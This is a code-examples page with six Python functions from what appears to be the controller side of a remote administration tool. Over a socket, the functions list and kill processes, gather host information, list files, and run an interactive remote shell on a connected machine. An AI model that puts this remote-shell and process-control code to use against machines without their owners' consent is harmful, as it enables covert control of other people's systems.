Exemplo n.º 1
0
def Process(sock):
    sock.send(b'2x00')
    data = connect.Receive(sock)
    print('\n%s\n' % data)
    while True:
        if Processmanage(sock):
            break
    return
Exemplo n.º 2
0
def Processmanage(sock):
    print('\033[0;32;48m[+]\033[0m Orders:')
    print('[1] Kill by Name (Only for Win)')
    print('[2] Kill by ID')
    print('[3] Process List')
    print('[0] Exit\n')
    while True:
        Input = input('>>> Order ID: ')
        if not Input:
            print('\033[0;33;48m[-]\033[0mYou must choose one function.\n')
        elif Input.isdecimal():
            Input = int(Input)
            if Input == 0:
                return True
            elif Input == 1 or Input == 2 or Input == 3:
                if Input == 1:
                    Input = input('>>> Process Name: ')
                    Input = b'2x01||' + Input.encode('utf-8')
                    sock.send(Input)
                elif Input == 2:
                    Input = input('>>> Process ID: ')
                    Input = b'2x02||' + Input.encode('utf-8')
                    sock.send(Input)
                elif Input == 3:
                    sock.send(b'2x00')
                    data = connect.Receive(sock)
                    print('\n%s\n' % data)
                    return False
                data = connect.Receive(sock)
                print('\n%s\n' % data)
                return False
            else:
                print(
                    '\033[0;33;48m[-]\033[0mWrong ID. Please choose another one.\n'
                )
        else:
            print(
                '\033[0;33;48m[-]\033[0mWrong Input.You must choose a correct function.\n'
            )
Exemplo n.º 3
0
def Shell(sock):
    sock.send(b'4')
    print('\033[0;32;48m[+]\033[0m Input \'0\' to Exit.')
    while True:
        Input = input('>>> ')
        if not Input:
            print('\033[0;33;48m[-]\033[0mOops...\n')
        elif Input == '0':
            sock.send(b'4x00')
            return
        else:
            sock.send(Input.encode('utf-8'))
            data = connect.Receive(sock)
            print('\n%s\n' % data)
Exemplo n.º 4
0
def Information(sock):
    sock.send(b'1x00')
    data = connect.Receive(sock)
    info = data.split('@',1)
    print('\n%s\n' % info[1])
    if info[0] == 'nt':
        return
    else:
        while True:
            print('\033[0;32;48m[+]\033[0m More Info:')
            print('[1] CPU Info')
            print('[2] Mem Info')
            print('[3] USB Info')
            print('[0] Exit\n')
            if Linuxinfo(sock):
                break
        return
Exemplo n.º 5
0
def Linuxinfo(sock):
    while True:
        Input = input('>>> Information ID: ')
        if not Input:
            print('\033[0;33;48m[-]\033[0mYou must choose one function.\n')
        elif Input.isdecimal():
            Input = int(Input)
            if Input == 0:
                return True
            elif Input == 1 or Input == 2 or Input == 3:
                if Input == 1:
                    sock.send(b'1x01')
                elif Input == 2:
                    sock.send(b'1x02')
                elif Input == 3:
                    sock.send(b'1x03')
                data = connect.Receive(sock)
                print('\n%s\n' % data)
                return False
            else:
                print('\033[0;33;48m[-]\033[0mWrong ID. Please choose another one.\n')
        else:
            print('\033[0;33;48m[-]\033[0mWrong Input.You must choose a correct function.\n')
Exemplo n.º 6
0
def ls(sock):
    sock.send(b'3x00')
    data = connect.Receive(sock)
    ls = data.split('@V@',1)
    print('\n%s\n' % ls[1])
    return ls[0]